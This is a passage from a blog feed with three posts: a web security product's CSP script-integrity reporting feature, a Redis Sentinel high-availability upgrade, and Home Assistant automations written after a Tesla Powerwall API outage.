the file we are being served has changed. We can also use the hash to try and identify if the file we were served is the file we were expecting.</p><p></p><h4 id="identifying-verified-javascript-files">Identifying verified JavaScript files</h4><p>As you can see from the screenshot above, we have identified that the particular file loaded was a verified file from the &apos;bootstrap&apos; package, hence the green marker with the library name. Using the hash as a fingerprint to uniquely identify a file is a common approach, but you need to have a reliable and <em>verified</em> library of fingerprints to reference against in order to lookup the fingerprint and know for sure. This is something that we&apos;ve been working hard to build and so far we have verified fingerprints for <strong><em>4,268,847</em></strong> unique JS files from common packages, libraries and dependencies across the Web! As we have the fingerprints for each of those files stored in their sha256, sha 384 and sha512 variants, it means we have a running total of <strong><em>12,806,541</em></strong> fingerprints in our database so far! This is a huge amount of valuable information to draw from, and it&apos;s something that&apos;s available right there in the dashboard.</p><p>That&apos;s not all, though, there&apos;s something even better to add!</p><p></p><h4 id="identifying-javascript-vulnerabilities">Identifying JavaScript vulnerabilities</h4><p>You may notice that the marker for that file is green, and that means that there are no known issues reported with that particular version of that file/library. If you keep scrolling through your data, you might, if you&apos;re unlucky, come across a file that has a red marker instead...</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image-2.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="525" height="95"></figure><p></p><p>This particular file is from a version of the Bootstrap library that has a known security vulnerability, and we can now surface that information directly to you in our UI. If you click the warning, it will open a small dialog box to give you some quick information on what the minimum version of the library you need to upgrade to is, and it will even link out to the disclosure notice for the vulnerability.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image-3.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="527" height="223"></figure><p></p><p>This will be an awesome feature to have, allowing you to keep a close eye on exactly how problematic your JS dependencies are, and potentially avoiding costly issues from using dependencies with known vulnerabilities. </p><p></p><h4 id="looking-at-the-new-telemetry-payload">Looking at the new telemetry payload</h4><p>Defined in the specification as a <code>csp-hash</code> report, it has a very familiar JSON payload, similar to your typical CSP violation report. Here&apos;s a sample of one of our payloads:</p><p></p><pre><code>{
        &quot;csp-hash&quot;: {
            &quot;destination&quot;: &quot;script&quot;,
            &quot;documentURL&quot;: &quot;https://report-uri.com/login/&quot;,
            &quot;hash&quot;: &quot;sha256-wMCQIK229gKxbUg3QWa544ypI4OoFlC2qQl8Q8xD8x8=&quot;,
            &quot;subresourceURL&quot;: &quot;https://cdn.report-uri.com/libs/refresh/bootstrap/bootstrap.bundle.min.js&quot;,
            &quot;type&quot;: &quot;subresource&quot;
        }
    }</code></pre><p></p><p>Breaking the fields inside this payload down, it&apos;s fairly self-explanatory:</p><p><code>destination</code> - Only <code>script</code> is supported for now, with new destinations being planned for future updates.</p><p><code>documentURL</code> - This is the URL the browser was visiting when the reported resource was observed.</p><p><code>hash</code> - This is the hash of the resource, which in this case is the sha256 hash as that is what we requested.</p><p><code>subresourceURL</code> - This is the URL of the script that was requested and the hash is of the content of this file.</p><p><code>type</code> - Only <code>subresource</code> is supported for now, with the ability to expand to new types in the future.</p><p></p><p>Now, with the <code>&apos;report-sha256&apos;</code> keyword in place, one of these payloads will be sent for each script that loads on your page!</p><p></p><h4 id="quick-tips">Quick Tips</h4><p>I&apos;m sure many people will have some questions that spring to mind after reading this, so let me address some of the most common ones that I encountered during our closed beta testing. </p><p></p><h6 id="do-i-need-to-build-a-full-csp">Do I need to build a full CSP?</h6><p>No! You don&apos;t need any CSP at all, you can start monitoring scripts and collecting integrity metadata right away:</p><pre><code>Content-Security-Policy-Report-Only: script-src &apos;report-sha256&apos;; report-to default</code></pre><p></p><h6 id="is-integrity-metadata-sent-for-scripts-that-load-or-scripts-that-are-blocked">Is integrity metadata sent for scripts that load, or scripts that are blocked?</h6><p>Integrity metadata is only sent for scripts that load on your page. If a script is blocked, it is not requested, so there is no file to provide integrity metadata for.</p><p></p><h6 id="will-this-use-a-lot-of-my-event-quota">Will this use a lot of my event quota?</h6><p>No, we&apos;re going to downsample CSP Integrity reports for all customers at a rate of 1/10, so whilst it will of course use some event quota, it should not use excessive amounts.</p><p></p><h6 id="what-happens-after-the-open-beta">What happens after the open beta?</h6><p>CSP Integrity will become an add-on feature for customers on our Ultimate plan and customers on an Enterprise plan in 2026.</p><p></p><h4 id="get-started-now">Get started now</h4><p>I will be announcing a webinar to go through the new CSP Integrity feature so keep an eye out for that, but everything you need to get started is right here. It really is as simple as adding those two new values to your CSP and just waiting for the valuable data to start rolling in!</p><p></p>]]></content:encoded></item><item><title><![CDATA[We're going High Availability with Redis Sentinel!]]></title><description><![CDATA[<p>We&apos;ve just deployed some mega updates to our infrastructure at Report URI that will give us much more resilience in the future, allow us to apply updates to our servers even faster, and will probably go totally unnoticed from the outside!</p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/08/report-uri.png" class="kg-image" alt loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/08/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="our-previous-redis-setup">Our previous Redis setup</h4><p>I&apos;ve</p>]]></description><link>https://scotthelme.ghost.io/were-going-high-availability-with-redis-sentinel/</link><guid isPermaLink="false">68976e9629f3b600011277d4</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Redis]]></category><category><![CDATA[Sentinel]]></category><category><![CDATA[High Availability]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 18 Aug 2025 12:46:41 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/08/redis-sentinel-upgrade.webp" alt="We&apos;re going High Availability with Redis Sentinel!"><p>We&apos;ve just deployed some mega updates to our infrastructure at Report URI that will give us much more resilience in the future, allow us to apply updates to our servers even faster, and will probably go totally unnoticed from the outside!</p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/08/report-uri.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/08/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="our-previous-redis-setup">Our previous Redis setup</h4><p>I&apos;ve talked about our infrastructure openly before, but I will give a brief overview of what we were working with and why I wanted to upgrade. We were using Redis in two places, one instance for our application session store, which is fairly self explanatory, and one instance for our inbound telemetry cache. Both of these isolated instances of Redis have been upgraded in the same way, but I will focus on the telemetry cache as this is the one that faces a significant amount of load! Here&apos;s how it works.</p><p>Visitors head to the websites of our customers, and they may or may not send some telemetry to us depending on whether there are any security, performance or other concerns to report to us about the website they were visiting. These telemetry events are received and are placed directly in to Redis because there are simply too many for us to process them in real-time. Our servers, that we refer to as &apos;consumers&apos;, will then feed telemetry from this Redis cache and process it, applying normalisation, filtering, checking it against our Threat Intelligence, and doing a whole heap of other work, before placing it in persistent storage, at which point it becomes available to customers in their dashboards. This &apos;ingestion pipeline&apos; can take anywhere from 20-30 seconds during quiet periods, and spike up to 6-7 minutes during our busiest periods, but it is reliable and consistent. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-10.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="883" height="187" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-10.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-10.png 883w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If you&apos;d like to see some real data about the volumes of telemetry we process, what our peaks and troughs look like, and a whole bunch of other interesting metrics, you should absolutely check out our <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Public Dashboard</a>. That has everything from telemetry volumes, client types, regional traffic patterns, a global heat map and even a Pew Pew Map!!</p><p></p><h4 id="a-single-point-of-failure">A single point of failure</h4><p>Both of our caches, the session cache and the telemetry cache, were single points of failure, and it&apos;s never a good idea to have a single point of failure. We&apos;ve never had an issue with either of them, but it&apos;s been something I&apos;ve wanted to address for a while now. Not only that, but it makes updating and upgrading them much harder work too. The typical process for our upgrades has been to bring up a new server, fully patch and update it and then deploy Redis along with our configuration, with the final step being a data migration consideration. Using Ansible to do the heavy lifting makes this process easier, but not easy. The session cache of course needs a full data migration and then the application servers can flip from the old one to the new one, which isn&apos;t so bad because the data is relatively small. The telemetry cache is a little trickier because it involves pointing the inbound telemetry to the new cache, while allowing the consumers to drain down the old telemetry cache before moving them over too. As I say, it&apos;s not impossible, but it could be a lot better, and we still have that concern of them both being a single point of failure. </p><p></p><h4 id="redis-sentinel-to-the-rescue">Redis Sentinel to the rescue!</h4><p>You can read the official docs on <a href="https://redis.io/docs/latest/operate/oss_and_stack/management/sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">Redis Sentinel</a> but I&apos;m going to cover everything you need to know here if you&apos;d like to keep reading. Redis Sentinel provides a few fundamental features that we&apos;re now leveraging to provide a much more resilient service. </p><p><strong>Monitoring:</strong> Redis Sentinels can monitor a pool of Redis caches to determine if they are healthy and available. </p><p><strong>Failover:</strong> Redis Sentinels will promote and demote Redis caches between the roles of Primary and Replica based on their health. </p><p><strong>Configuration:</strong> Clients connect to a Redis Sentinel to get the ip/port for the current Primary cache.</p><p></p><p>Leveraging these features, we&apos;ve now created a much more robust solution that looks like this:</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-8.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="1317" height="1034" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-8.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-8.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-8.png 1317w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To give an overview of what&apos;s happening here, I will break it down in to the following:</p><p><strong>Redis Caches:</strong> These have an assigned role of either Primary or Replica, and for the purposes of our diagram, the red one will be the Primary and the yellow one will be the Replica. If you have more than two caches in your pool, there would be more Replicas. The role of the Replica is to keep itself fully aligned with the Primary so it can become the Primary at any point if needed. The role of the Primary is to serve the clients as their Redis cache and is where our inbound telemetry is being sent.</p><p><strong>Redis Sentinels:</strong> These severs do a few things, so let&apos;s break it down.</p><ol><li>They&apos;re providing ip/port information to clients about which cache is the current Primary. Clients don&apos;t know about the caches or how many there are, nor do they know which one is the Primary, so they first ask a Sentinel which cache is the current Primary and then connect to that one. Note that no cache activity passes through the Sentinels, all they do is provide the information to the client on where to connect, and the client will then connect directly to the cache.</li><li>They&apos;re monitoring the health of the Primary and Replica/s to detect any issues. If a problem is detected with the Primary, it is put to a vote to see if a Replica should be promoted to Primary. Our configuration requires a quorum of 3/4 votes to successfully promote a Replica to Primary, and demote the Primary to a Replica when it returns. Once that happens, the Sentinels will reconfigure all caches to follow the new Primary, and start providing the new Primary ip/port information to clients.</li><li>They&apos;re always monitoring for the addition of new caches or Sentinels. There is no configuration for how many Sentinels or caches there are, they are discovered by talking to the current Primary and getting information on how many Replicas and Sentinels are connected to that Primary.</li></ol><p></p><h4 id="failing-over">Failing over</h4><p>Of course, all of this work is designed to give us a much more resilient solution, and it will also make our work for installing updates and upgrades much easier too. There are two scenarios when the Sentinels can failover from a Primary to a Replica, and they are when the Sentinels detect an issue with the Primary and vote to demote it, or when we manually trigger a failover.</p><p>When we&apos;re getting ready to do some upgrades, the first step will be to take the Replica down so the Sentinels notice and remove it as an option for a current failover. We can then update/upgrade that server and bring it back online as a viable Replica. Now, when we want to upgrade the cache that is the current Primary, we trigger the failover and the Sentinels will take care of it, meaning our infrastructure now looks like this with the new roles.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-9.png" class="kg-image" alt="We&apos;re going High Availability with Redis Sentinel!" loading="lazy" width="1308" height="1032" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-9.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-9.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-9.png 1308w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If there is a problem with the update/upgrade, we can immediately fail back, giving us a nice recovery option, and if everything goes well, we can now follow the same process of taking the Replica down for updates/upgrades. Once that&apos;s done, both servers are fully updated with considerably less work than before!</p><p></p><h4 id="other-considerations">Other considerations</h4><p>Whilst working through this project there were a few little details that I picked up along the way that might be useful to share, and also some that are probably a bit more specific to our deployment. </p><ul><li>Our Redis Sentinels are running on dedicated servers, but I saw many recommendations to co-locate a Redis Sentinel service alongside the Redis Server service on the cache servers themselves. I decided against this for a couple of reasons. First, I didn&apos;t want to lose a Sentinel when we took a cache down for updates/upgrades because this will impact the total number of Sentinels available to clients, and it has implications for voting too. Second, I wanted to take that load away from the caches so they could focus on being caches, meaning each of our servers is focusing on doing one thing well.</li><li>Your quorum for voting must be &gt;50% of the number of Sentinels you have, it must be a majority vote to promote a new Primary. With our four Sentinels, if we had a quorum of two, we have less protection against something called a Split-Brain happening. As an example, let&apos;s say we have two caches, Redis Cache 1 and Redis Cache 2. Two of our four Sentinels have a transient network issue and see the Primary (Redis Cache 1) as being down, so they vote between themselves to promote a Replica (Redis Cache 2), and then begin that process. Because they can&apos;t communicate with the previous Primary (Redis Cache 1), they can&apos;t demote it to a Replica. Meanwhile, the other two Sentinels see no issue and continue as normal with their existing Primary (Redis Cache 1). You now have Sentinels providing ip/port information for two different Primaries that are both accepting writes from clients and their data is now diverging, a Split-Brain! Having a quorum require a majority of your Sentinels to vote doesn&apos;t fully solve this issue, but it does give you a lot more protection against it.</li><li>If you have a very read-heavy workload, your Replicas can share the load as they do support read-only connections. In our two scenarios we can&apos;t really leverage this benefit, which is a real shame, but being able to distribute reads across your replicas may be a huge benefit to you.</li></ul><p></p><h4 id="nobody-would-know">Nobody would know!</h4><p>Whilst this was quite a huge change on our side, from the outside, nobody would know anything about this if I hadn&apos;t published this blog post! Going forwards, this will allow me to sleep a lot better knowing we have a more resilient service, and that our future updates and upgrades will now take much less time and effort than before. If you have any feedback or suggestions on our deployment, feel free to drop by the comments below. </p><p></p>]]></content:encoded></item><item><title><![CDATA[Automation improvements after a Tesla Powerwall outage!]]></title><description><![CDATA[<p>So, a weird thing happened over the last couple of days, and my Tesla Powerwalls weren&apos;t working properly, or, at all, actually... What&apos;s even more strange is that Tesla has been completely silent about this and hasn&apos;t made a single announcement about the issue</p>]]></description><link>https://scotthelme.ghost.io/automation-improvements-after-a-tesla-powerwall-outage/</link><guid isPermaLink="false">68974a0c29f3b6000112773f</guid><category><![CDATA[Tesla Powerwall]]></category><category><![CDATA[Home Assistant]]></category><category><![CDATA[Teslemetry]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 11 Aug 2025 09:49:48 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp" alt="Automation improvements after a Tesla Powerwall outage!"><p>So, a weird thing happened over the last couple of days, and my Tesla Powerwalls weren&apos;t working properly, or, at all, actually... What&apos;s even more strange is that Tesla has been completely silent about this and hasn&apos;t made a single announcement about the issue that I can find, and I haven&apos;t been notified.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-1.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="600" height="211" srcset="https://scotthelme.ghost.io/content/images/2025/08/image-1.png 600w"></figure><p></p><h4 id="my-home-setup">My Home Setup</h4><p>You can read various posts on my blog about how I automate almost all of my home with Home Assistant, and more recently there were two Tesla Powerwall posts [<a href="https://scotthelme.co.uk/hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">1</a>][<a href="https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">2</a>] about bringing the final pieces of the puzzle together. I have everything working almost exactly how I want it to, with the one outstanding question on how I can control the charge rate of the Powerwalls, which I will be answering later!</p><p>First, though, this recent Tesla outage that I&apos;ve seen absolutely nothing from Tesla about... Regular readers will know I automate my Powerwalls via <a href="https://www.home-assistant.io/?ref=scotthelme.ghost.io" rel="noreferrer">Home Assistant</a> using the <a href="https://teslemetry.com/?ref=scotthelme.ghost.io" rel="noreferrer">Teslemetry</a> service. </p><p></p><figure class="kg-card kg-image-card"><a href="https://teslemetry.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-2.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="731" height="76" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-2.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-2.png 731w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>I can control when the Powerwalls are charging or not based on the current cost for electricity import, and I can also control when they&apos;re exporting to the grid if I have excess capacity for the day. Things were going really quite well, until I woke up one morning and the batteries were basically empty. I woke up on the morning of the 7th August and we hadn&apos;t charged the batteries in the cheap off-peak tariff that we get overnight, which is really the main point of the batteries. Fill up on the cheap stuff overnight, avoid the expensive stuff during the day.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-3.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="485" height="345"></figure><p></p><p>I tried to enable grid charging to see if I could just get some power back in to the batteries so they weren&apos;t sat on such a low SoC, but it wouldn&apos;t enable. I wondered if Teslemetry were having an issue, but nothing was reported on their side. I disabled the integration and went directly to the official Tesla app and tried to enable grid charging there, but again, it wouldn&apos;t enable. After some searching, it seems it wasn&apos;t just me having the issue and anyone with a Powerwall setup seemed to be having the exact same problem. Shortly after, an incident went up on the Teslemetry <a href="https://status.teslemetry.com/incident/701944?ref=scotthelme.ghost.io" rel="noreferrer">status page</a> saying that the issue was with the Tesla API.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-4.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="834" height="517" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-4.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-4.png 834w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It wasn&apos;t just Teslemetry, either. Other services that also allow for control of Tesla Powerwalls were having issues and reporting similar problems on their status pages too, like <a href="https://docs.netzero.energy/docs/tesla/2025-08/GridChargingIssue.html?ref=scotthelme.ghost.io" rel="noreferrer">NetZero</a>.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-5.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="1003" height="398" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-5.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-5.png 1003w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As you can see from the graph above, I did manage to capture some excess solar production during the day and charge the batteries a little, but it was almost 24 hours later when the issue finally resolved and the button to enable grid charging started magically working again! I enabled the Teslemetry integration and we were back in business. </p><p></p><h4 id="so-whats-up-with-that">So what&apos;s up with that?..</h4><p>I genuinely do find it staggering that a trillion dollar company can&apos;t notify customers who are actively using their product of an issue such as this! It&apos;s pretty crazy when you think about it that there was an issue that effectively rendered Powerwalls useless, and there have been no notifications, updates, or a post-mortem, nothing... This is really poor from Tesla and I think this issue deserves more attention.</p><p>Part of me is also wondering if there might be a problem with enabling a huge amount of Powerwalls to be able to grid charge again all at once. Could it have an impact on the grid? Was that part of the problem and they staggered the rollout of the fix? What was the problem? I just want to know! </p><p><strong><em>Update 11th Aug 15:17 BST:</em></strong> Tesla responded to my support ticket with the following:</p><blockquote>We are reaching out regarding your inquiry that grid charging turns it self off automatically. Our App Team is aware of this issue and is currently working on resolving it.<br>Please rest assured, we will resolve it within the next Tesla App updates.</blockquote><p></p><p></p><h4 id="controlling-how-fast-your-powerwalls-charge">Controlling how fast your Powerwalls charge</h4><p>One of the last things I had to address in my previous blog post was controlling how fast my Powerwalls were charging. Once you set them to charge, they charge up at full power, which isn&apos;t really necessary. Charging them at such a high rate isn&apos;t necessary as I have a long time to charge them, and charging at a higher rate is worse for the battery, and it leaves it sat at 100% for a longer period overnight, which is also worse for the battery! Overall that&apos;s a bad pair of options, but what if you could change the rate at which the batteries draw power when charging? Well, you can!</p><p>This is super easy to do thanks to my use of Home Assistant and Teslemetry, and it&apos;s worth pointing out that one of the options below won&apos;t be available to you if you&apos;re not using a service like Teslemetry as it&apos;s not available in the Tesla app! It turns out that when the batteries are in a different mode, they charge at a different rate. Here is the operation mode you need to set in Teslemetry, and in brackets is the name of that mode in the Tesla app.</p><p></p><table>
    <thead>
    <tr>
    <th>Operation Mode</th>
    <th>Total Draw</th>
    <th>Per Battery</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Autonomous (Time-Based Control)</td>
    <td>15kW</td>
    <td>5kW</td>
    </tr>
    <tr>
    <td>Self-consumption (Self-Powered)</td>
    <td>5.7kW</td>
    <td>1.9kW</td>
    </tr>
    <tr>
    <td>Backup (not available)</td>
    <td>11.1kW</td>
    <td>3.7kW</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>I have 3 x Powerwalls so the above numbers show my total grid power draw when charging, and what the breakdown is per Powerwall. I&apos;ve always been using &quot;Autonomous&quot; mode, which is known as &quot;Time-Based Control&quot; in the Tesla app, and that results in the batteries charging at their maximum rate of 5kW each!</p><p>It turns out that if you put the Powerwalls in &quot;Self-consumption&quot; mode, which is known as &quot;Self-Powered&quot; in the Tesla app, they only charge at 1.9kW each. That might be helpful to you, but for me, it&apos;s not enough. The Powerwalls have an official usable capacity of 13.5kWh, and mine are reporting a usable capacity of either 13.7kWh or 13.8kWh via the API. My cheap rate tariff applies from 23:30 to 05:30 giving me 6 hours and unfortunately, 6 hours x 1.9kW = 11.4kWh, which is not enough to fully recharge them.</p><p>The good news is that because I&apos;m using the Teslemetry integration, it gives me access to the &quot;Backup&quot; mode, which isn&apos;t available in the Tesla app, and it sees the batteries charge at ~3.7kW, which works out quite well because 13.8kWh / 3.7kW = 3.7 hours (3hrs 45min). That means the batteries can charge at a lower rate and take a longer time to hit 100% SoC, but still be comfortably ready by 05:30 even if I need to go from 0% to 100%. Another bonus is that Backup mode will automatically set the Backup Reserve to 100% too! For comparison, here is the charging curve before and after the change, showing that slightly gentler curve now I&apos;m using Backup mode.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/08/Screenshot-2025-08-09-152600.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="477" height="343"><figcaption><span style="white-space: pre-wrap;">Batteries charging at 15kW</span></figcaption></figure><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/08/Screenshot-2025-08-09-152614.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="475" height="342"><figcaption><span style="white-space: pre-wrap;">Batteries charging at 11.1kW</span></figcaption></figure><p></p><h4 id="my-current-automations">My current automations</h4><p>Given the above issue with the Tesla API, I wanted to avoid turning Grid Charging on and off because I might find myself in a position where I can&apos;t turn it back on again at some point in the future... Going forwards, I&apos;m going to control charging by toggling the operation mode between Autonomous and Backup, whilst setting the Backup Reserve to the appropriate level too. I will also provide a copy of my export automation for completeness too. Here is the battery charging automation:</p><p></p><pre><code class="language-yaml">alias: Powerwall - Dynamic Battery Charging Control
    description: |
      Sets Shireburn operation mode and backup reserve based on price and SoC.
      - Cheap &amp; below target SoC =&gt; backup @ 100%
      - Expensive or above target SoC =&gt; autonomous @ target SoC
    triggers:
      - trigger: time_pattern
        minutes: /5
    conditions: []
    actions:
      - choose:
          - conditions:
              - condition: numeric_state
                entity_id: &gt;-
                  sensor.octopus_energy_electricity_snip_current_rate
                below: input_number.electricity_cost_threshold
              - condition: numeric_state
                entity_id: sensor.shireburn_charge
                below: input_number.powerwall_soc_threshold
            sequence:
              - condition: or
                conditions:
                  - condition: template
                    value_template: &quot;{{ states(&apos;select.shireburn_operation_mode&apos;) != &apos;backup&apos; }}&quot;
                  - condition: template
                    value_template: &quot;{{ states(&apos;number.shireburn_backup_reserve&apos;) | int != 100 }}&quot;
              - action: select.select_option
                target:
                  entity_id: select.shireburn_operation_mode
                data:
                  option: backup
              - action: number.set_value
                target:
                  entity_id: number.shireburn_backup_reserve
                data:
                  value: 100
          - conditions:
              - condition: numeric_state
                entity_id: &gt;-
                  sensor.octopus_energy_electricity_snip_current_rate
                above: input_number.electricity_cost_threshold
            sequence:
              - condition: or
                conditions:
                  - condition: template
                    value_template: &gt;-
                      {{ states(&apos;select.shireburn_operation_mode&apos;) != &apos;autonomous&apos;
                      }}
                  - condition: template
                    value_template: &quot;{{ states(&apos;number.shireburn_backup_reserve&apos;) | int != 0 }}&quot;
              - action: select.select_option
                target:
                  entity_id: select.shireburn_operation_mode
                data:
                  option: autonomous
              - action: number.set_value
                target:
                  entity_id: number.shireburn_backup_reserve
                data:
                  value: 0
    mode: single
    </code></pre><p></p><p>Here is the export automation:</p><p></p><pre><code class="language-yaml">alias: Dynamic Battery Export Control
    description: &gt;-
      Adjust export setting and export mode display based on battery SoC and
      time-of-day
    triggers:
      - minutes: /5
        trigger: time_pattern
    actions:
      - variables:
          now_ts: &quot;{{ now().timestamp() }}&quot;
          today: &quot;{{ now().date().isoformat() }}&quot;
          start_ts: &quot;{{ (today ~ &apos;T05:30:00&apos;) | as_datetime | as_timestamp }}&quot;
          end_ts: &quot;{{ (today ~ &apos;T23:30:00&apos;) | as_datetime | as_timestamp }}&quot;
          end_for_target_ts: &quot;{{ (today ~ &apos;T23:15:00&apos;) | as_datetime | as_timestamp }}&quot;
          current_soc: &quot;{{ states(&apos;sensor.shireburn_charge&apos;) | float(0) }}&quot;
      - choose:
          - conditions:
              - condition: template
                value_template: &quot;{{ now_ts &lt; start_ts or now_ts &gt; end_ts }}&quot;
            sequence:
              - target:
                  entity_id: input_number.target_soc
                data:
                  value: 100
                action: input_number.set_value
              - target:
                  entity_id: input_text.export_mode_state
                data:
                  value: No Export
                action: input_text.set_value
              - condition: template
                value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;never&apos; }}&quot;
              - target:
                  entity_id: select.shireburn_allow_export
                data:
                  option: never
                action: select.select_option
        default:
          - variables:
              total_secs: &quot;{{ end_for_target_ts - start_ts }}&quot;
              elapsed_secs: &quot;{{ now_ts - start_ts }}&quot;
              progress: &gt;-
                {{ (elapsed_secs / total_secs) if elapsed_secs &lt; total_secs else 1.0
                }}
              target_soc: &quot;{{ 100 - (95 * (progress ** 1.5)) }}&quot;
          - target:
              entity_id: input_number.target_soc
            data:
              value: &quot;{{ target_soc | round(0) }}&quot;
            action: input_number.set_value
          - choose:
              - conditions:
                  - condition: template
                    value_template: |
                      {% set hour = now().hour %} {% if hour &lt; 23 %}
                        {{ current_soc &gt; (target_soc + 5) }}
                      {% else %}
                        {{ current_soc &gt; target_soc }}
                      {% endif %}
                sequence:
                  - target:
                      entity_id: input_text.export_mode_state
                    data:
                      value: Battery + Solar Export
                    action: input_text.set_value
                  - condition: template
                    value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;battery_ok&apos; }}&quot;
                  - target:
                      entity_id: select.shireburn_allow_export
                    data:
                      option: battery_ok
                    action: select.select_option
              - conditions:
                  - condition: template
                    value_template: &quot;{{ current_soc &lt; (target_soc - 5) }}&quot;
                sequence:
                  - target:
                      entity_id: input_text.export_mode_state
                    data:
                      value: No Export
                    action: input_text.set_value
                  - condition: template
                    value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;never&apos; }}&quot;
                  - target:
                      entity_id: select.shireburn_allow_export
                    data:
                      option: never
                    action: select.select_option
            default:
              - target:
                  entity_id: input_text.export_mode_state
                data:
                  value: Solar Export
                action: input_text.set_value
              - condition: template
                value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;pv_only&apos; }}&quot;
              - target:
                  entity_id: select.shireburn_allow_export
                data:
                  option: pv_only
                action: select.select_option
    mode: single
    </code></pre><p></p><p>Hopefully they will be useful and perhaps we might know more about the Tesla API outage soon!..</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <style>
      pre[class*="language-"],
      code[class*="language-"] {
        font-size: 0.85em !important;
    }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-tomorrow.min.css" integrity="sha512-vswe+cgvic/XBoF1OcM/TeJ2FW0OofqAVdCZiEYkd6dwGXthvkSFWOoGGJgS2CW70VK5dQM5Oh+7ne47s74VTg==" crossorigin="anonymous" referrerpolicy="no-referrer">
